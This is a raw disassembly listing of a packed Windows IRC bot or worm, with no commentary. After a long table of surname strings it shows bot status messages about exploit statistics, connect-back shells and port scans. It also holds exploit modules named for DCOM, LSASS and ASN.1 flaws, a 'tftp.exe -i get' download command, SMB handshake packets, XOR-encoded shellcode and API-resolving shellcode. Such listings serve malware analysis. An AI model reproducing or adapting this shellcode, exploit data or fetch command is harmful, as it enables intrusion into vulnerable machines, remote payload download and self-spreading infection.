.packed:0042DB7Co align 10h aBolick db 'Bolick',0 ; DATA XREF: .packed:0042DB78o align 4 aBolger db 'Bolger',0 ; DATA XREF: .packed:0042DB74o align 10h aBlyth db 'Blyth',0 ; DATA XREF: .packed:0042DB70o align 4 aBloxham db 'Bloxham',0 ; DATA XREF: .packed:0042DB6Co aBloemhof db 'Bloemhof',0 ; DATA XREF: .packed:0042DB68o align 4 aBloembergen db 'Bloembergen',0 ; DATA XREF: .packed:0042DB64o aBloch db 'Bloch',0 ; DATA XREF: .packed:0042DB60o align 10h aBlizard db 'Blizard',0 ; DATA XREF: .packed:0042DB5Co aBliss db 'Bliss',0 ; DATA XREF: .packed:0042DB58o align 10h aBlanke db 'Blanke',0 ; DATA XREF: .packed:0042DB54o align 4 aBlakemore db 'Blakemore',0 ; DATA XREF: .packed:0042DB50o align 4 aBlagg db 'Blagg',0 ; DATA XREF: .packed:0042DB4Co align 4 aBlackwell db 'Blackwell',0 ; DATA XREF: .packed:0042DB48o align 4 aBlackbourn db 'Blackbourn',0 ; DATA XREF: .packed:0042DB44o align 4 aBisho db 'Bisho',0 ; DATA XREF: .packed:0042DB40o align 4 aBisema db 'Bisema',0 ; DATA XREF: .packed:0042DB3Co align 4 aBir db 'Bir',0 ; DATA XREF: .packed:0042DB38o aBinion db 'Binion',0 ; DATA XREF: .packed:0042DB34o align 10h aBickel db 'Bickel',0 ; DATA XREF: .packed:0042DB30o align 4 aBiagioli db 'Biagioli',0 ; DATA XREF: .packed:0042DB2Co align 4 aBeynart db 'Beynart',0 ; DATA XREF: .packed:0042DB28o aBetti db 'Betti',0 ; DATA XREF: .packed:0042DB24o align 4 aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: .packed:0042DB20o align 4 aBernston db 'Bernston',0 ; DATA XREF: .packed:0042DB1Co align 10h aBernassola db 'Bernassola',0 ; DATA XREF: .packed:0042DB18o align 4 aBernardo db 'Bernardo',0 ; DATA XREF: .packed:0042DB14o align 4 aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: .packed:0042DB10o align 4 aBergson db 'Bergson',0 ; DATA XREF: .packed:0042DB0Co aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: .packed:0042DB08o align 10h aBelloc db 'Belloc',0 ; DATA XREF: .packed:0042DB04o align 4 aBellini db 'Bellini',0 ; DATA XREF: .packed:0042DB00o aBellhouse db 'Bellhouse',0 ; DATA XREF: .packed:0042DAFCo align 4 aBellavance db 'Bellavance',0 ; DATA XREF: .packed:0042DAF8o align 4 aBelinCollart db 'Belin-Collart',0 ; DATA XREF: .packed:0042DAF4o align 4 aBelfer db 'Belfer',0 ; DATA XREF: .packed:0042DAF0o align 10h aBelaoussof db 'Belaoussof',0 ; DATA XREF: .packed:0042DAECo align 4 aBelanger db 'Belanger',0 ; DATA XREF: .packed:0042DAE8o align 4 aBehenna db 'Behenna',0 ; DATA XREF: .packed:0042DAE4o aBedford db 'Bedford',0 ; DATA XREF: .packed:0042DAE0o aBeder db 'Beder',0 ; DATA XREF: .packed:0042DADCo align 10h aBeckman db 'Beckman',0 ; DATA XREF: .packed:0042DAD8o aBean db 'Bean',0 ; DATA XREF: .packed:0042DAD4o align 10h aBeal db 'Beal',0 ; DATA XREF: .packed:0042DAD0o align 4 aBeacon db 'Beacon',0 ; DATA XREF: .packed:0042DACCo align 10h aBayo db 'Bayo',0 ; DATA XREF: .packed:0042DAC8o align 4 aBayles db 'Bayles',0 ; DATA XREF: .packed:0042DAC4o align 10h aBaumiller db 'Baumiller',0 ; DATA XREF: .packed:0042DAC0o align 4 aBatchelder db 'Batchelder',0 ; DATA XREF: .packed:0042DABCo align 4 aBashevis db 'Bashevis',0 ; DATA XREF: .packed:0042DAB8o align 4 aBasavappa db 'Basavappa',0 ; DATA XREF: .packed:0042DAB4o align 10h aBartoo db 'Bartoo',0 ; DATA XREF: .packed:0042DAB0o align 4 aBartolome db 'Bartolome',0 ; DATA XREF: .packed:0042DAACo align 4 aBartholomew db 'Bartholomew',0 ; DATA XREF: .packed:0042DAA8o aBarry db 'Barry',0 ; DATA XREF: .packed:0042DAA4o align 4 aBarriola db 'Barriola',0 ; DATA XREF: .packed:0042DAA0o align 4 aBarnett db 'Barnett',0 ; DATA XREF: .packed:0042DA9Co aBarneson db 'Barneson',0 ; DATA XREF: .packed:0042DA98o align 4 aBarbetti db 'Barbetti',0 ; DATA XREF: .packed:0042DA94o align 4 aBarberi db 'Barberi',0 ; DATA XREF: .packed:0042DA90o aBaranowska db 'Baranowska',0 ; DATA XREF: .packed:0042DA8Co align 4 aBaranczak db 'Baranczak',0 ; DATA XREF: .packed:0042DA88o align 4 aBarajas db 'Barajas',0 ; DATA XREF: .packed:0042DA84o aBarabesi db 'Barabesi',0 ; DATA XREF: .packed:0042DA80o align 4 aBanta db 'Banta',0 ; DATA XREF: .packed:0042DA7Co align 10h aBaltz db 'Baltz',0 ; DATA XREF: .packed:0042DA78o align 4 aBallew db 'Ballew',0 ; DATA XREF: .packed:0042DA74o align 10h aBallatori db 'Ballatori',0 ; DATA XREF: .packed:0042DA70o align 4 aBaleja db 'Baleja',0 ; DATA XREF: .packed:0042DA6Co align 4 aBakanowsky db 'Bakanowsky',0 ; DATA XREF: .packed:0042DA68o align 10h aBailar db 'Bailar',0 ; DATA XREF: .packed:0042DA64o align 4 aBagnold db 'Bagnold',0 ; DATA XREF: .packed:0042DA60o aBaglivo db 'Baglivo',0 ; DATA XREF: .packed:0042DA5Co aBady db 'Bady',0 ; DATA XREF: .packed:0042DA58o align 10h aBackus db 'Backus',0 ; DATA XREF: .packed:0042DA54o align 4 aBachmuth db 'Bachmuth',0 ; DATA XREF: .packed:0042DA50o align 4 aAzima db 'Azima',0 ; DATA XREF: .packed:0042DA4Co align 4 aAyling db 'Ayling',0 ; DATA XREF: .packed:0042DA48o align 4 aAykroyd db 'Aykroyd',0 ; DATA XREF: .packed:0042DA44o aAyiemba db 'Ayiemba',0 ; DATA XREF: .packed:0042DA40o aAxworthy db 'Axworthy',0 ; DATA XREF: .packed:0042DA3Co align 10h aAxelrod db 'Axelrod',0 ; DATA XREF: .packed:0042DA38o aAurelius db 'Aurelius',0 ; DATA XREF: .packed:0042DA34o align 4 aAugustus db 'Augustus',0 ; DATA XREF: .packed:0042DA30o align 10h aAtkins db 'Atkins',0 ; DATA XREF: .packed:0042DA2Co align 4 aArky db 'Arky',0 ; DATA XREF: .packed:0042DA28o align 10h aArjas db 'Arjas',0 ; DATA XREF: .packed:0042DA24o align 4 aAristotle db 'Aristotle',0 ; DATA XREF: .packed:0042DA20o align 4 aArellano db 'Arellano',0 ; DATA XREF: .packed:0042DA1Co align 10h aArduini db 'Arduini',0 ; DATA XREF: .packed:0042DA18o aArbia db 'Arbia',0 ; DATA XREF: .packed:0042DA14o align 10h aAntos db 'Antos',0 ; DATA XREF: .packed:0042DA10o align 4 aAnthony db 'Anthony',0 ; DATA XREF: .packed:0042DA0Co aAnsley db 'Ansley',0 ; DATA XREF: .packed:0042DA08o align 4 aAnfinrud db 'Anfinrud',0 ; DATA XREF: .packed:0042DA04o align 4 aAndron db 'Andron',0 ; DATA XREF: .packed:0042DA00o align 4 aAndrelus db 'Andrelus',0 ; DATA XREF: .packed:0042D9FCo align 4 aAndo db 'Ando',0 ; DATA XREF: .packed:0042D9F8o align 10h aAndel db 'Andel',0 ; DATA XREF: .packed:0042D9F4o align 4 aAnand db 'Anand',0 ; DATA XREF: .packed:0042D9F0o align 10h aAmsden db 'Amsden',0 ; DATA XREF: .packed:0042D9ECo align 4 aAmeer db 'Ameer',0 ; DATA XREF: .packed:0042D9E8o align 10h aAmatangelo db 'Amatangelo',0 ; DATA XREF: .packed:0042D9E4o align 4 aAmaral db 'Amaral',0 ; DATA XREF: .packed:0042D9E0o align 4 aAltenhofen db 'Altenhofen',0 ; DATA XREF: .packed:0042D9DCo align 10h aAltenberger db 'Altenberger',0 ; DATA XREF: .packed:0042D9D8o aAltavilla db 'Altavilla',0 ; DATA XREF: .packed:0042D9D4o align 4 aAlongi db 'Alongi',0 ; DATA XREF: .packed:0042D9D0o align 10h aAllison db 'Allison',0 ; DATA XREF: .packed:0042D9CCo aAleks db 'Aleks',0 ; DATA XREF: .packed:0042D9C8o align 10h aAlda db 'Alda',0 ; DATA XREF: .packed:0042D9C4o align 4 aAlcorn db 'Alcorn',0 ; DATA XREF: .packed:0042D9C0o align 10h aAlavi db 'Alavi',0 ; DATA XREF: .packed:0042D9BCo align 4 aAhlers db 'Ahlers',0 ; DATA XREF: .packed:0042D9B8o align 10h aAdorno db 'Adorno',0 ; DATA XREF: .packed:0042D9B4o align 4 aAdibe db 'Adibe',0 ; DATA XREF: .packed:0042D9B0o align 10h aAdelstein db 'Adelstein',0 ; DATA XREF: .packed:0042D9ACo align 4 aAddison db 'Addison',0 ; DATA XREF: .packed:off_42D9A8o aAdams db 'Adams',0 ; DATA XREF: .packed:0042D9A4o align 4 aAckerman db 'Ackerman',0 ; DATA XREF: .packed:0042D9A0o align 4 aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: .packed:off_42D99Co align 4 byte_4315F4 db 50h ; DATA XREF: .packed:0040ABE6o ; .packed:0040ABF3r db 43h, 2 dup(0) dword_4315F8 dd 7C7325h ; DATA XREF: .packed:0040AC91o dword_4315FC dd 5D73255Bh, 7Ch ; DATA XREF: .packed:0040AD9Bo dword_431604 dd 3F3F3Fh ; DATA XREF: .packed:loc_40AD92o ; sub_41AF8F:loc_41B052o dword_431608 dd 334B32h ; DATA XREF: .packed:0040AD8Bo dword_43160C dd 5058h ; DATA XREF: .packed:0040AD7Do ; .packed:0040AF89o ... dword_431610 dd 4B32h ; DATA XREF: .packed:0040AD6Do ; .packed:0040AF79o ... dword_431614 dd 454Dh ; DATA XREF: .packed:0040AD54o ; .packed:0040AF60o ... dword_431618 dd 3839h ; DATA XREF: .packed:0040AD44o ; .packed:0040AF50o ... dword_43161C dd 544Eh ; DATA XREF: .packed:0040AD34o ; .packed:0040AF41o ... dword_431620 dd 3539h ; DATA XREF: .packed:0040AD26o ; .packed:0040AF33o ... dword_431624 dd 5D64255Bh, 7325h ; DATA XREF: sub_40ADE1+3Ao dword_43162C dd 5D4D5Bh ; DATA XREF: sub_40ADE1+2Co ; sub_40ADE1+57o aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40ADE1+18o ; sub_41875E+5o align 4 aSSSS db '%s|%s|%s|%s|',0 ; DATA XREF: .packed:0040B0D6o align 4 a99 db '99',0 ; DATA XREF: .packed:loc_40B098o align 4 a0D db '0%d',0 ; DATA XREF: .packed:0040B072o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: .packed:0040B054o ; sub_41ADD8+52o off_43165C dd offset byte_4B4E55 ; DATA XREF: .packed:0040B037o dword_431660 dd 345053h ; DATA XREF: .packed:0040B02Do dword_431664 dd 34h ; DATA XREF: .packed:0040B021o dword_431668 dd 335053h ; DATA XREF: .packed:0040B014o dword_43166C dd 33h ; DATA XREF: .packed:0040B003o dword_431670 dd 325053h ; DATA XREF: .packed:0040AFF6o dword_431674 dd 32h ; DATA XREF: .packed:0040AFE5o ; =============== S U B R O U T I N E ======================================= sub_431678 proc near ; DATA XREF: .packed:0040AFD8o push ebx push eax xor [eax], eax sub_431678 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dword_43167C dd 305053h ; DATA XREF: .packed:0040AFBAo dword_431680 dd 4E55h ; DATA XREF: .packed:loc_40AF9Eo dword_431684 dd 3332h ; DATA XREF: .packed:0040AF97o ; --------------------------------------------------------------------------- loc_431688: ; DATA XREF: sub_40B2B3+C4o jmp short loc_43168C ; --------------------------------------------------------------------------- loc_43168A: ; CODE XREF: .packed:loc_43168Cp jmp short loc_431691 ; --------------------------------------------------------------------------- loc_43168C: ; CODE XREF: .packed:loc_431688j call loc_43168A loc_431691: ; CODE XREF: .packed:loc_43168Aj pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_431696 dw 0FFFFh ; DATA XREF: sub_40B2B3+CCw db 80h, 73h, 0Eh byte_43169B db 0FFh ; DATA XREF: sub_40B2B3+D3w dd 0F9E243h ; --------------------------------------------------------------------------- loc_4316A0: ; DATA XREF: sub_40B2B3+A2o jmp short loc_4316A4 ; --------------------------------------------------------------------------- loc_4316A2: ; CODE XREF: .packed:loc_4316A4p jmp short loc_4316A9 ; --------------------------------------------------------------------------- loc_4316A4: ; CODE XREF: .packed:loc_4316A0j call loc_4316A2 loc_4316A9: ; CODE XREF: .packed:loc_4316A2j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_4316AD db 0FFh ; DATA XREF: sub_40B2B3+AAw dw 7380h db 0Ch byte_4316B1 db 0FFh ; DATA XREF: sub_40B2B3+B0w dw 0E243h dd 0F9h dword_4316B8 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_40B13C+57o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_43171C dd 12h ; DATA XREF: sub_40B13C+3Dw aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_40B13C+79o aJ_0 db 'j',0 db 0E8h dword_431735 dd 17h ; DATA XREF: sub_40B13C+4Dw ; --------------------------------------------------------------------------- jnz short near ptr byte_43173C retn ; --------------------------------------------------------------------------- byte_43173C db 0E8h ; CODE XREF: .packed:00431739j dword_43173D dd 1 ; DATA XREF: sub_40B13C+45w byte_431741 db 0, 6Ah, 0 ; DATA XREF: sub_40B13C+C2o dd 7E8h db 0, 0Fh, 84h dword_43174B dd 0FFFFFFEDh ; DATA XREF: sub_40B13C+5Dw ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 4 dword_43177C dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h ; DATA XREF: sub_40B477+10o aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B648+51o align 4 aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B648+35o align 10h aSym db 'sym',0 ; DATA XREF: sub_40C3E8+169o dd 0 db 2 dup(0) aSymantec db 'Symantec',0 ; DATA XREF: sub_40BA9E+30o ; .packed:0040E229o ... align 4 dd 5 dup(0) dword_4317F8 dd 0B97h ; DATA XREF: sub_401ACD+1D42r ; sub_401ACD+1D6Ao ... off_4317FC dd offset sub_40EAE9 ; DATA XREF: sub_40C3E8+1EAr dword_431800 dd 0 ; DATA XREF: sub_40B90E+2Eo ; .packed:0040D759w ... dword_431804 dd 1 ; DATA XREF: sub_40BD91+1Fr dword_431808 dd 1 ; DATA XREF: sub_40BD91+3B3r dword_43180C dd 0 ; DATA XREF: sub_40BD91+292r aDcom135 db 'dcom135',0 dd 63440000h, 33316D6Fh, 35h, 5 dup(0) dd 87h, 40DF4Ch, 0 dd 1, 2 dup(0) dd 636E76h, 0 dd 6E760000h, 63h, 6 dup(0) dd 170Ch, 40EC1Fh, 0 dd 2 dup(1), 0 aAsn445 db 'asn445',0 align 4 dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh, 40D59Dh, 0 dd 2 dup(1), 0 aAsn139 db 'asn139',0 align 4 dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0) dd 8Bh, 40D59Dh, 0 dd 2 dup(1), 0 aVncs db 'vncs',0 align 4 dd 54480000h, 562D5054h, 434Eh, 5 dup(0) dd 170Ch, 41B6A1h, 4 dup(0) aLsass_445 db 'lsass_445',0 aLsass_445_0 db 'lsass_445',0 dd 5 dup(0) dd 1BDh, 40E830h, 0 dd 2 dup(1), 2 dup(0) dd 10100h, 0Eh dup(0) aAsn445_0 db 'asn445',0 align 4 db 2 dup(0) byte_4319DA db 1 ; DATA XREF: sub_401ACD:loc_403789r ; sub_401ACD+1CC6o aDcom135_0 db 'dcom135',0 align 4 dd 100h, 3 dup(0) ; --------------------------------------------------------------------------- jmp short loc_431A06 ; =============== S U B R O U T I N E ======================================= sub_4319F6 proc near ; CODE XREF: sub_4319F6:loc_431A06p pop edx dec edx xor ecx, ecx mov cx, 166h loc_4319FE: ; CODE XREF: sub_4319F6+Cj xor byte ptr [edx+ecx], 99h loop loc_4319FE jmp short loc_431A0B ; --------------------------------------------------------------------------- loc_431A06: ; CODE XREF: .packed:004319F4j call sub_4319F6 loc_431A0B: ; CODE XREF: sub_4319F6+Ej jo short near ptr dword_431994+12h cwde cdq cdq retn sub_4319F6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B90E+86o align 4 dword_431B88 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B90E+46o unk_431B94 db 2Dh ; - ; DATA XREF: sub_40B90E+11o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aExploitStatist db 'Exploit Statistics:',0 unk_431BB4 db 2Dh ; - ; DATA XREF: sub_40B9DD+38o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h db 54h ; T db 72h, 61h, 6Eh db 73h ; s db 66h, 65h, 72h db 20h db 53h, 74h, 61h db 74h ; t db 69h, 73h, 74h db 69h ; i db 63h, 73h, 3Ah db 20h db 2, 54h, 46h db 54h ; T db 50h, 2, 3Ah db 20h db 25h, 64h, 2Ch db 20h db 2, 46h, 54h db 50h ; P db 2, 3Ah, 20h aDTotalDInS_ db '%d, Total %d in %s.',0 unk_431BFC db 2Dh ; - ; DATA XREF: sub_40BA49+22o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aDConnectbackSh db '%d connectback shells in %s.',0 align 4 aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40BA9E+7Fo dword_431C38 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40BA9E+40o dword_431C48 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh ; DATA XREF: sub_40BA9E+14o dd 7473694Ch, 3Ah unk_431C64 db 2Dh ; - ; DATA XREF: sub_40BB65+172o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFinishedExploi db '- finished exploiting %s (%d attempts)',0 unk_431C98 db 2Dh ; - ; DATA XREF: sub_40BB65+80o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 db 2Dh, 20h, 74h db 72h ; r db 79h, 69h, 6Eh db 67h ; g db 20h, 2, 25h db 73h ; s db 2, 20h, 6Fh aNSPortD___ db 'n %s (port %d)...',0 align 4 unk_431CC8 db 2Dh ; - ; DATA XREF: sub_40BD1A+42o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanNotActive_ db 'Scan not active.',0 align 4 unk_431CE8 db 2Dh ; - ; DATA XREF: sub_40BD1A+2Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aCurrentIpS_ db 'Current IP: %s.',0 unk_431D04 db 2Dh ; - ; DATA XREF: sub_40BD91+4B7o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_30 db ' Failed to start server, error: <%d>.',0 align 4 unk_431D38 db 2Dh ; - ; DATA XREF: sub_40BD91+38Fo db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aFailedToSta_31 db '- Failed to start server, error: <%d>.',0 unk_431D70 db 2Dh ; - ; DATA XREF: sub_40BD91+321o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aServerStarte_2 db '- Server started on Port: %d.',0 align 10h unk_431DA0 db 2Dh ; - ; DATA XREF: sub_40BD91+26Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_32 db 'Failed to start server, error: <%d>.',0 align 4 unk_431DD4 db 2Dh ; - ; DATA XREF: sub_40BD91+1FEo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aServerStarte_3 db 'Server started on Port: %d, File: %s.',0 align 4 unk_431E08 db 2Dh ; - ; DATA XREF: sub_40BD91+148o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_33 db ' Failed to start server, error: <%d>.',0 align 4 unk_431E3C db 2Dh ; - ; DATA XREF: sub_40C3E8+EEo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0 align 4 unk_431E64 db 2Dh ; - ; DATA XREF: sub_40C3E8+93o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431E9C db 2Dh ; - ; DATA XREF: sub_40C600+1CEo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_431EDC db 2Dh ; - ; DATA XREF: sub_40C600+173o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_431F14 db 2Dh ; - ; DATA XREF: sub_40C600+103o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431F48 db 2Dh ; - ; DATA XREF: sub_40C600+87o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToInitia db 'Failed to initialize critical section.',0 align 4 unk_431F7C db 2Dh ; - ; DATA XREF: sub_40C85F+92o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOp_0 db 'IP: %s Port: %d is open.',0 align 4 unk_431FA4 db 2Dh ; - ; DATA XREF: sub_40C92C+41o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0 align 4 unk_431FCC db 2Dh ; - ; DATA XREF: sub_40CA1D+D1o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedScanni db 'Finished scanning IP: %s.',0 align 4 unk_431FF8 db 2Dh ; - ; DATA XREF: sub_40CA1D+41o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0 align 4 aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40CD9E+B2o align 10h dword_432030 dd 10FF8h, 0 ; DATA XREF: sub_40CD9E+6Ao dword_432038 dd 10FF8h ; DATA XREF: sub_40CD9E+79o dword_43203C dd 7FFDF020h, 0 ; DATA XREF: sub_40CD9E+162o dword_432044 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40D1C8+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_4320CC dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40D1C8+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_4320FC dd 0 ; DATA XREF: sub_40D1C8+44o dd 800000D4h, 0 unk_432108 db 81h ; ; DATA XREF: sub_40D2A2+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_432154 db 41h ; DATA XREF: sub_40D340+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 4 ; =============== S U B R O U T I N E ======================================= sub_432198 proc near ; DATA XREF: .packed:0040D61Fo push ebx push esi push edi sub sp, 80h mov esi, esp call sub_432294 push dword ptr [esi] push 63D61209h call sub_4322AA mov [esi+8], eax call sub_43225D push dword ptr [esi+4] push 0CA2BD06Bh call sub_4322AA mov [esi+0Ch], eax call sub_43220F push dword ptr [esi+4] push 4C0297FAh call sub_4322AA xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_432198 endp ; =============== S U B R O U T I N E ======================================= sub_43220F proc near ; CODE XREF: sub_432198+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_432238 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_43220F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_432238 proc near ; CODE XREF: sub_43220F+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_432247: ; CODE XREF: sub_432238+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_432254 inc ebx jmp short loc_432247 ; --------------------------------------------------------------------------- loc_432254: ; CODE XREF: sub_432238+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_432238 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43225D proc near ; CODE XREF: sub_432198+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_432275: ; CODE XREF: sub_43225D+1Ej cmp [ecx], ebx jz short loc_43227D mov ecx, [ecx] jmp short loc_432275 ; --------------------------------------------------------------------------- loc_43227D: ; CODE XREF: sub_43225D+1Aj mov edx, edi loc_43227F: ; CODE XREF: sub_43225D+2Aj cmp [edx+4], ebx jz short loc_432289 mov edx, [edx+4] jmp short loc_43227F ; --------------------------------------------------------------------------- loc_432289: ; CODE XREF: sub_43225D+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_43225D endp ; =============== S U B R O U T I N E ======================================= sub_432294 proc near ; CODE XREF: sub_432198+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], 